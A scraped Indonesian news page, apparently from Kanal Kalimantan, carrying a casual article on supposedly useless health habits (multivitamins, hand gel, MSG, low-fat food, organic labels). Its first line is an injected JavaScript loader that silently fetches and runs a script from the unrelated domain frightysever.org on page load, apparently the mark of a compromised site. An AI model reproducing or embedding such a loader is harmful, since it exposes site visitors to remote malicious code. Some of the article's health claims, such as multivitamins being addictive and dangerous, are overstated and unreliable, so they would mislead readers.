(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Semua orang di dunia pasti menginginkan selalu sehat dan berumur panjang. Demi mencapai tujuan itu orang-orang pasti rela melakukan berbagai macam hal demi menjaga kesehatan. Sayangnya, sampai saat ini masih ada beberapa persepsi yang salah. Orang-orang masih melakukan kesalahan. Mereka punya kebiasaan yang mereka anggap benar dan menyehatkan padahal kenyataannya kebiasaan itu masuk kategori un-faedah. Ada baiknya kebiasan itu dikurangi atau bahkan ditinggalkan. Kamu nggak akan dapat pengaruh baik apapun dari kebiasaan yang berikut ini nih.
Banyak orang mengira bahwa multivitamin bisa meningkatkan kekebalan dan menjaga kesehatan. Duuuh, itu mah iklan doang biar produk laku. Ilmuwan justru menemukan fakta bahwa multivitamin yang bikin orang kecanduan justru bahaya buat kesehatan. Kesimpulan ini diambil setelah dilakukan survei terhadap kurang lebih 450 ribu orang di Amerika.
Gel anti bakteri emang bisa menghilangkan berbagai macam bakteri dan kuman yang nempel di tangan tapi ada ketentuannya. Gel itu harus mengandung alkohol minimal 60%. Kalo syarat itu nggak dipenuhi, gel itu nggak akan bisa berguna kayak yang lo harapkan. Nggak ngaruh deh pokoknya. Justru malah akan lebih baik kalo lo cuci tangan pakai air mengalir aja.
Konon katanya MSG alias micin dikenal sebagai zat yang bisa membahayakan kesehatan. Orang bisa pusing bahkan lemot gara-gara kebanyakan MSG. Sebenernya efek itu nggak akan muncul kalo lo nggak mengonsumsi micin murni lebih dari 3 gram.
Tubuh kita butuh yang namanya lemak. Saat kita mengonsumsi makanan yang rendah lemak semua, itu nggak bagus loh. Kenapa? Soalnya itu bisa membuat tubuh kekurangan lemak. Kalo kamu mau menurunkan kalori, ini bukanlah cara terbaik. Apalagi saat ini produk rendah lemak di pasaran biasanya malah lebih banyak mengandung gula. Itu artinya bakal bahaya buat kesehatan loh.
Di beberapa negara, tidak ada aturan bahwa buah, sayur, atau makanan harus punya label organik. Saat label itu ditempelkan pada produk tertentu dan biasanya harganya lebih mahal, sebenernya itu cuma trik pemasaran aja sih biar lebih menarik pembeli. Seringkali buah atau sayur organik yang lo beli tuh sama aja kek buah dan sayur non-organik.(kiki/net)
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.